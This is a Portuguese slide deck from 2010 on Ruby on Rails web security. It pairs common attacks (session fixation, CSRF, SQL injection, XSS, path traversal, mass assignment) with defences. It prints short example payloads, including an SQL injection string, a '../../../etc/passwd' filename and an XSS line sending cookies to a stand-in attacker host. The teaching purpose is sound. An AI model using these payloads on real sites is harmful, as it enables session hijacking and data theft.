Segurança &Ruby on Rails
http://julio.monteiro.eti.br
quinta-feira, 28 de janeiro de 2010
whoami
quinta-feira, 28 de janeiro de 2010
Joinville, SCquinta-feira, 28 de janeiro de 2010
CCT, UDESCquinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Joinville, SC
quinta-feira, 28 de janeiro de 2010
Curi.ba, PRJoinville, SC
quinta-feira, 28 de janeiro de 2010
Curi.ba, PRJoinville, SCSão Paulo, SP
quinta-feira, 28 de janeiro de 2010
Curi.ba, PRJoinville, SCSão Paulo, SP
Benguela, Angola
quinta-feira, 28 de janeiro de 2010
@edevandro
@fracazo
@evandrodutra
@gilzanella
@machaduss
@jmonteiro
@garridovaz
@patrickespake
@robertoespinha
@jacksonrovina
@pitagorasgg
@anelize
@mspiazera
quinta-feira, 28 de janeiro de 2010
Sessões
quinta-feira, 28 de janeiro de 2010
Sessões
• HTTP é um protocolo stateless
• Sessão é identificada por um cookie (contendo uma identificação e um hash)
• Enviado do servidor para o cliente, e do cliente para o servidor
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Roubo de Sessão
quinta-feira, 28 de janeiro de 2010
Roubo de Sessão
• Roubo de um arquivo de cookie por um “atacante”
• Permite que o atacante aja em nome da vítima
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores “públicos”
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores “públicos”
Botão “logout”,expirar sessão
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores “públicos”
Botão “logout”,expirar sessão
Session Fixation
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores “públicos”
Botão “logout”,expirar sessão
Session Fixation (mais adiante)
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores “públicos”
Botão “logout”,expirar sessão
Session Fixation (mais adiante)
XSS
quinta-feira, 28 de janeiro de 2010
Como uma sessão pode ser roubada?
Roubo Como combater?
Sniffers em uma rede SSL (https)
Utilizar computadores “públicos”
Botão “logout”,expirar sessão
Session Fixation (mais adiante)
XSS (mais adiante)
quinta-feira, 28 de janeiro de 2010
Dica:
Nunca armazene objetos grandes em uma sessão.
quinta-feira, 28 de janeiro de 2010
Dica:
Nunca armazene informações críticas
em uma sessão.
quinta-feira, 28 de janeiro de 2010
Como uma sessão é armazenada?
quinta-feira, 28 de janeiro de 2010
Como uma sessão é armazenada?
• ActiveRecordStore: armazena no banco de dados (tabela “sessions”)
• CookieStore: armazena em um cookie do usuário
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Replay Attack no CookieStore
quinta-feira, 28 de janeiro de 2010
Replay Attack no CookieStore
1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)
quinta-feira, 28 de janeiro de 2010
Replay Attack no CookieStore
1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)
2. Usuário compra algo custando R$40
quinta-feira, 28 de janeiro de 2010
Replay Attack no CookieStore
1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)
2. Usuário compra algo custando R$40
3. Sessão agora armazena que usuário tem R$10
quinta-feira, 28 de janeiro de 2010
Replay Attack no CookieStore
1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)
2. Usuário compra algo custando R$40
3. Sessão agora armazena que usuário tem R$10
4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente
quinta-feira, 28 de janeiro de 2010
Session Fixation
quinta-feira, 28 de janeiro de 2010
Session Fixation
<script>document.cookie="_session_id=16d5b78abb
28e3d6206b60f22a03c8d9";</script>
quinta-feira, 28 de janeiro de 2010
Session Fixationquinta-feira, 28 de janeiro de 2010
Como combater Session Fixation?
Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou
navegador).
quinta-feira, 28 de janeiro de 2010
Expirando sessões
quinta-feira, 28 de janeiro de 2010
Expirando sessões
• Expire-as de tempo em tempo (com base no updated_at e no created_at)
• Um simples rake no crontab já resolve
quinta-feira, 28 de janeiro de 2010
CSRF
quinta-feira, 28 de janeiro de 2010
CSRF
• Cross-Site Request Forgery
• Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação
quinta-feira, 28 de janeiro de 2010
CSRFquinta-feira, 28 de janeiro de 2010
Como combater CSRF?
Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e
DELETE se possível)
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
quinta-feira, 28 de janeiro de 2010
Como combater CSRF?
• Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)
• Utilize um token
quinta-feira, 28 de janeiro de 2010
Como combater CSRF?
• Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)
• Utilize um token
quinta-feira, 28 de janeiro de 2010
Injeção em Redirecionamentos
quinta-feira, 28 de janeiro de 2010
Injeção em Redirecionamentos
http://www.example.com/site/legacy?param1=xy¶m2=23&
host=www.attacker.com
quinta-feira, 28 de janeiro de 2010
Como combater injeções em Redirecionamentos?
Não aceite URLs (ou partes dela)como parâmetro.
quinta-feira, 28 de janeiro de 2010
Uploads de arquivos
quinta-feira, 28 de janeiro de 2010
Uploads de arquivos
• Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo.
• Se você armazena os arquivos em /var/www/uploads, imagine se alguém fizer upload de um arquivo chamado../../../etc/passwd ?
quinta-feira, 28 de janeiro de 2010
Como combater uploads maliciosos?
Evite receber o nome do arquivo, ou crie um filtro com expressão regular.
quinta-feira, 28 de janeiro de 2010
DoS por uploads
quinta-feira, 28 de janeiro de 2010
DoS por uploads
• Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente.
• Imagine alguém enviando milhares de arquivos ao mesmo tempo?
quinta-feira, 28 de janeiro de 2010
Como combater DoS por uploads?
Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em
uma máquina separada.
quinta-feira, 28 de janeiro de 2010
Upload de executáveis
quinta-feira, 28 de janeiro de 2010
Upload de executáveis
• Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host)
quinta-feira, 28 de janeiro de 2010
Como combater DoS por uploads?
Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele
diretório.
quinta-feira, 28 de janeiro de 2010
Downloads não autorizados
quinta-feira, 28 de janeiro de 2010
Downloads não autorizados
• Evite que os usuários "escolham" o que querem baixar, como em:
quinta-feira, 28 de janeiro de 2010
Downloads não autorizados
• Evite que os usuários "escolham" o que querem baixar, como em:
quinta-feira, 28 de janeiro de 2010
Como combater downloads não autorizados?
quinta-feira, 28 de janeiro de 2010
Como combater downloads não autorizados?
Opcionalmente, armazene o nome do arquivo no banco de dados, identificando-
o para o usuário através de um id.
quinta-feira, 28 de janeiro de 2010
Mass Assignment
quinta-feira, 28 de janeiro de 2010
Mass Assignment
• Você sabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :)
quinta-feira, 28 de janeiro de 2010
Mass Assignment
quinta-feira, 28 de janeiro de 2010
Mass Assignment
http://www.example.com/user/signup?user[user]=ow3ned&user[admin]=1
quinta-feira, 28 de janeiro de 2010
Como combater aproveitamentos do mass assignment?
quinta-feira, 28 de janeiro de 2010
Como combater aproveitamentos do mass assignment?
Modo paranóico:
quinta-feira, 28 de janeiro de 2010
Força bruta nologin do usuário
quinta-feira, 28 de janeiro de 2010
Como combater ataque de força bruta?
CAPTCH depois de determinadas tentativas falhas de login.
Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”.
quinta-feira, 28 de janeiro de 2010
Hijacks diversos
quinta-feira, 28 de janeiro de 2010
Hijacks diversos
• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.
quinta-feira, 28 de janeiro de 2010
Hijacks diversos
• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.
• Email: requira que o usuário digite a antiga senha para conseguir mudar
quinta-feira, 28 de janeiro de 2010
Hijacks diversos
• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.
• Email: requira que o usuário digite a antiga senha para conseguir mudar
• Outros: lembra do “problema” do GMail?
quinta-feira, 28 de janeiro de 2010
CAPTCHA
quinta-feira, 28 de janeiro de 2010
CAPTCHA negativo
quinta-feira, 28 de janeiro de 2010
Informações sensíveis no Log
quinta-feira, 28 de janeiro de 2010
Como combater informações sensíveis no log?
quinta-feira, 28 de janeiro de 2010
Expressões regulares
quinta-feira, 28 de janeiro de 2010
Expressões regulares
quinta-feira, 28 de janeiro de 2010
Expressões regulares
quinta-feira, 28 de janeiro de 2010
Como combater aproveitamento de expressões regulares?
Use \A ao invés de ^
Use \Z ao invés de $
quinta-feira, 28 de janeiro de 2010
Escalação de privilégios
quinta-feira, 28 de janeiro de 2010
http://www.example.com/projects/1
Escalação de privilégios
quinta-feira, 28 de janeiro de 2010
Escalação de privilégios
quinta-feira, 28 de janeiro de 2010
Como combater aproveitamento de expressões regulares?
quinta-feira, 28 de janeiro de 2010
Whitelist > Blacklist
quinta-feira, 28 de janeiro de 2010
Whitelist rula!
• before_filter :only => [...] ao invés de before_filter :except => [...]
quinta-feira, 28 de janeiro de 2010
Whitelist rula!
• before_filter :only => [...] ao invés de before_filter :except => [...]
• attr_accessible ao invés de attr_protected
quinta-feira, 28 de janeiro de 2010
Whitelist rula!
• before_filter :only => [...] ao invés de before_filter :except => [...]
• attr_accessible ao invés de attr_protected
• Permita somente <strong> ao invés de remover <script>
quinta-feira, 28 de janeiro de 2010
Injeção SQL
quinta-feira, 28 de janeiro de 2010
Injeção SQL
quinta-feira, 28 de janeiro de 2010
Injeção SQL
' OR 1 --
quinta-feira, 28 de janeiro de 2010
Injeção SQL
' OR 1 --
SELECT * FROM projects WHERE name = '' OR 1 --'
quinta-feira, 28 de janeiro de 2010
Como combater injeções SQL?
quinta-feira, 28 de janeiro de 2010
XSS
quinta-feira, 28 de janeiro de 2010
XSS
• Cross Site Scripting
• Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report.
• Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008.
• Diversas ferramentas para auxiliar estes ataques, como o MPack.
quinta-feira, 28 de janeiro de 2010
XSS: Injeção JavaScript
quinta-feira, 28 de janeiro de 2010
XSS: Injeção JavaScript
<script>alert('Hello');</script>
<table background="javascript:alert('Hello')">
quinta-feira, 28 de janeiro de 2010
XSS: Roubo de Cookie
quinta-feira, 28 de janeiro de 2010
XSS: Roubo de Cookie
<script>document.write(document.cookie);</script>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
quinta-feira, 28 de janeiro de 2010
XSS: Defacement
quinta-feira, 28 de janeiro de 2010
XSS: Defacement
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
quinta-feira, 28 de janeiro de 2010
Como combater estes ataques XSS?
Limpe a “entrada” do usuário com o método sanatize.
quinta-feira, 28 de janeiro de 2010
Como combater estes ataques XSS?
Limpe a “entrada” do usuário com o método sanatize.
Limpe a “saída” (impressão) com escapeHTML(), também chamado de h().
quinta-feira, 28 de janeiro de 2010
Como combater estes ataques XSS?
Limpe a “entrada” do usuário com o método sanatize.
Limpe a “saída” (impressão) com escapeHTML(), também chamado de h().
<%=h @user.name %>
quinta-feira, 28 de janeiro de 2010
XSS: Injeção CSS
quinta-feira, 28 de janeiro de 2010
XSS: Injeção CSS
background:url('javascript:alert(1)')
quinta-feira, 28 de janeiro de 2010
Como combater estes ataque XSS de injeção CSS?
Evite CSS personalizado.
quinta-feira, 28 de janeiro de 2010
Dicas sobre a interface administrativa
quinta-feira, 28 de janeiro de 2010
• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.
Dicas sobre a interface administrativa
quinta-feira, 28 de janeiro de 2010
• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.
• Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa).
Dicas sobre a interface administrativa
quinta-feira, 28 de janeiro de 2010
• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.
• Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa).
• Que tal uma senha especial para ações importantes, como deletar usuários?
Dicas sobre a interface administrativa
quinta-feira, 28 de janeiro de 2010
http://www.pragprog.comquinta-feira, 28 de janeiro de 2010
http://www.rorsecurity.info
quinta-feira, 28 de janeiro de 2010
http://guias.rubyonrails.pro.br/
quinta-feira, 28 de janeiro de 2010
Segurança &Ruby on Rails
http://julio.monteiro.eti.br
quinta-feira, 28 de janeiro de 2010